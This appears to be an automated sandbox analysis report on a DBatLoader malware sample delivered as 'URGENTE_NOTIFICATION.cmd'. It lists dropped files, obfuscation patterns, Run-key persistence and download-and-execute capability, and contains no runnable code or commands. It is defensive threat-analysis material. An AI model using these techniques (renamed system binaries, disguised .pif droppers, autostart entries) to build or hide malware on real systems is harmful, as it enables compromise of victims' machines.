Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: URGENTE_NOTIFICATION.cmd Static file information: File size 4541473 > 1048576
Source: Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: sppsvc.pif, 00000009.00000003.1813378513.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: easinvoker.pdb source: sppsvc.pif, 00000009.00000002.4113851046.0000000013AF5000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, easinvoker.exe.9.dr
Source: Binary string: cmd.pdbUGP source: alpha.exe, 00000003.00000002.1647471611.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000003.00000000.1644562863.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000005.00000000.1647785940.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000005.00000002.1653434339.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000007.00000002.1660935260.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000007.00000000.1654132001.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000A.00000000.1662066219.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000A.00000002.1663916561.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000000.1664317831.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000002.1665714622.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe.2.dr
Source: Binary string: certutil.pdb source: kn.exe, 00000006.00000000.1648239065.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000006.00000002.1652106938.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000002.1660326356.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000000.1654699931.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.4.dr
Source: Binary string: easinvoker.pdbH source: sppsvc.pif, 00000009.00000002.4113851046.0000000013AF5000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.2526694806.000000001483E000.00000004.00000020.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, easinvoker.exe.9.dr
Source: Binary string: cmd.pdb source: alpha.exe, 00000003.00000002.1647471611.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000003.00000000.1644562863.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000005.00000000.1647785940.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000005.00000002.1653434339.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000007.00000002.1660935260.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000007.00000000.1654132001.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000A.00000000.1662066219.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000A.00000002.1663916561.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000000.1664317831.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000002.1665714622.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe.2.dr
Source: Binary string: certutil.pdbGCTL source: kn.exe, 00000006.00000000.1648239065.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000006.00000002.1652106938.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000002.1660326356.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000000.1654699931.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.4.dr

Data Obfuscation
barindex
Yara detected DBatLoader
Source: Yara match File source: 24.2.Mywiztwu.PIF.2a50000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000003.1664121633.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.4105700398.0000000002831000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000002.2032787763.00000000028B1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.1950636346.00000000023D5000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.1951955264.0000000002A51000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Binary contains a suspicious time stamp
Source: alpha.exe.2.dr Static PE information: 0xE1CBFC53 [Mon Jan 16 09:26:43 2090 UTC]
Contains functionality to dynamically determine API calls
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152A4D86 GetSystemDirectoryA,LoadLibraryA,LoadLibraryA,GetProcAddress, 9_2_152A4D86
PE file contains sections with non-standard names
Source: alpha.exe.2.dr Static PE information: section name: .didat
Source: kn.exe.4.dr Static PE information: section name: .didat
Source: easinvoker.exe.9.dr Static PE information: section name: .imrsiv
Source: netutils.dll.9.dr Static PE information: section name: .xdata
Source: netutils.dll.9.dr Static PE information: section name: /4
Source: netutils.dll.9.dr Static PE information: section name: /19
Source: netutils.dll.9.dr Static PE information: section name: /31
Source: netutils.dll.9.dr Static PE information: section name: /45
Source: netutils.dll.9.dr Static PE information: section name: /57
Source: netutils.dll.9.dr Static PE information: section name: /70
Source: netutils.dll.9.dr Static PE information: section name: /81
Source: netutils.dll.9.dr Static PE information: section name: /92
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B3668 push rsp; ret 6_2_00007FF6658B3669
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_0285A2F4 push 0285A35Fh; ret 9_2_0285A357
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_028332F0 push eax; ret 9_2_0283332C
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_0284D20C push ecx; mov dword ptr [esp], edx 9_2_0284D211
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_02836372 push 028363CFh; ret 9_2_028363C7
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_02836374 push 028363CFh; ret 9_2_028363C7
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_0285A0AC push 0285A125h; ret 9_2_0285A11D
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_02843027 push 02843075h; ret 9_2_0284306D
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_02843028 push 02843075h; ret 9_2_0284306D
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_0285A1F8 push 0285A288h; ret 9_2_0285A280
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_0285A144 push 0285A1ECh; ret 9_2_0285A1E4
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_0283673E push 02836782h; ret 9_2_0283677A
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_02836740 push 02836782h; ret 9_2_0283677A
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_0283C528 push ecx; mov dword ptr [esp], edx 9_2_0283C52D
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_0283D55C push 0283D588h; ret 9_2_0283D580
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_0283CBA8 push 0283CD2Eh; ret 9_2_0283CD26
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_02849B58 push 02849B90h; ret 9_2_02849B88
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_02859B70 push 02859D8Eh; ret 9_2_02859D86
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_028478C8 push 02847945h; ret 9_2_0284793D
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_0283C8D6 push 0283CD2Eh; ret 9_2_0283CD26
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_02846904 push 028469AFh; ret 9_2_028469A7
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_02846902 push 028469AFh; ret 9_2_028469A7
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_02845E38 push ecx; mov dword ptr [esp], edx 9_2_02845E3A
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_02842F1C push 02842F92h; ret 9_2_02842F8A
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_02847CA6 push 02847CE0h; ret 9_2_02847CD8
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_02847CA8 push 02847CE0h; ret 9_2_02847CD8
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152DDD28 push esp; retf 9_2_152DDD30
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152C87DE push dword ptr [ebx]; iretd 9_2_152C87E1
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152C4E56 push ecx; ret 9_2_152C4E69
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152E7106 push ecx; ret 9_2_152E7119
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152B49AF push esi; ret 9_2_152B49B1

Persistence and Installation Behavior
barindex
Drops PE files with a suspicious file extension
Source: C:\Users\Public\kn.exe File created: C:\Users\Public\Libraries\sppsvc.pif Jump to dropped file
Source: C:\Windows\SysWOW64\extrac32.exe File created: C:\Users\Public\Libraries\Mywiztwu.PIF Jump to dropped file
Contains functionality to download and launch executables
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14556EB0 ShellExecuteW,URLDownloadToFileW, 24_2_14556EB0
Drops PE files
Source: C:\Users\Public\kn.exe File created: C:\Users\Public\Libraries\sppsvc.pif Jump to dropped file
Source: C:\Windows\System32\extrac32.exe File created: C:\Users\Public\alpha.exe Jump to dropped file
Source: C:\Windows\System32\extrac32.exe File created: C:\Users\Public\kn.exe Jump to dropped file
Source: C:\Users\Public\Libraries\sppsvc.pif File created: C:\Users\Public\Libraries\easinvoker.exe Jump to dropped file
Source: C:\Users\Public\Libraries\sppsvc.pif File created: C:\Users\Public\Libraries\netutils.dll Jump to dropped file
Source: C:\Windows\SysWOW64\extrac32.exe File created: C:\Users\Public\Libraries\Mywiztwu.PIF Jump to dropped file
Drops PE files to the user directory
Source: C:\Windows\System32\extrac32.exe File created: C:\Users\Public\alpha.exe Jump to dropped file
Source: C:\Windows\System32\extrac32.exe File created: C:\Users\Public\kn.exe Jump to dropped file

Boot Survival
barindex
Drops PE files to the user root directory
Source: C:\Windows\System32\extrac32.exe File created: C:\Users\Public\alpha.exe Jump to dropped file
Source: C:\Windows\System32\extrac32.exe File created: C:\Users\Public\kn.exe Jump to dropped file
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152AAB0D OpenSCManagerW,OpenServiceW,CloseServiceHandle,ControlService,QueryServiceStatus,StartServiceW, 9_2_152AAB0D
Source: C:\Users\Public\Libraries\sppsvc.pif Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Mywiztwu Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Mywiztwu Jump to behavior
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152C5E5E GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 9_2_152C5E5E
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\Public\Libraries\sppsvc.pif Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
